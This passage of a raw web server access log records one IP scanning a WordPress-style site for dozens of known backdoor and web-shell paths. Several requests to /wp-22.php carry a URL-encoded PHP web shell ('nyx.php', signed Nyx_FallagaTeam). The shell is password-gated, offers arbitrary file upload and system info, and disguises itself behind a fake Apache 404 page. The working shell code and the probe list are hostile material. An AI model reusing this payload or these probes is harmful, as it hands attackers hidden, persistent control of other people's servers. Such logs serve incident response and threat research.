C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:04 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:05 +0530] "GET /wp-admin/includes/tablepress_controllers.php HTTP/1.1" 302 264 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:07 +0530] "GET /RxR.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:08 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:09 +0530] "GET /wp-admin/includes/edit-tag-menu.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:09 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:09 +0530] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:10 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:10 +0530] "GET /mari.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:12 +0530] "GET /wp-includes/css/1.phtml HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:13 +0530] "GET /asasx.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:14 +0530] "GET /bb.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:14 +0530] "GET /wp-includes/pomo/wp-cli.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:14 +0530] "GET /swm.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:16 +0530] "GET /9.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:16 +0530] "GET /wp-load.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:16 +0530] "GET /qindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:17 +0530] "GET /priv8.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:17 +0530] "GET /wso2.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:19 +0530] "GET /wp-admin/includes/tablepress_controllers.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:20 +0530] "GET /sendmail.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:20 +0530] "GET /wp-admin/includes/block-line.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:20 +0530] "GET /5index.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:22 +0530] "GET /4price.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:23 +0530] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:23 +0530] "GET /contacts.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:23 +0530] "GET /xmrlpc.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:24 +0530] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 302 263 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:24 +0530] "GET /wp-includes/kevindepzai.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:24 +0530] "GET /y.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:25 +0530] "GET /wp-configer.php HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:25 +0530] "GET /wp-content/plugins/wolf-shell.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:28 +0530] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:29 +0530] "GET /olux.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:29 +0530] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:30 +0530] "GET /small.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:30 +0530] "GET /wso112233.php HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:30 +0530] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:30 +0530] "GET /error.php?phpshells HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:30 +0530] "GET /wp-content/upgrade/wp-signup.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:30 +0530] "GET /wp-admin/css/media.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /wp-includes/css/css.php HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /goods.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /error.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /media-admin.php HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /wp-content/themes/twentytwenty/content-index.php HTTP/1.1" 302 268 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /wp-content/tcihmfyu.php HTTP/1.1" 302 243 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /it.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:31 +0530] "GET /templates/atomic/index.php HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-includes/css/wp.php HTTP/1.1" 302 242 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /h.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /files/image.php HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-content/uploads/2021/12/fw.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wpx.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-includes/class-wp-block-list.php HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /owl.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /yuuki.php HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /am.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-content/themes/wolf-shell.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /uploads/l.php HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /templates/protostar/error.php HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /images/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 259 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /date.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /.well-known/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /tmp/vuln.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /V3.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-info.php HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:32 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:33 +0530] "GET /wp-content/upgrade/wp-signup.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:35 +0530] "GET /wp-content/themes/twentytwenty/content-index.php HTTP/1.1" 302 268 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:35 +0530] "GET /wp-content/tcihmfyu.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:35 +0530] "GET /wp-admin/radio.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:37 +0530] "GET /0.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:37 +0530] "GET /wp-includes/css/wp.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:37 +0530] "GET /.well-known/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 264 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:40 +0530] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:41 +0530] "GET /libraries/joomla/jmail.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:41 +0530] "GET /5index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:41 +0530] "GET /alex.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:41 +0530] "GET /baindex.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:42 +0530] "GET /files/image.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:43 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E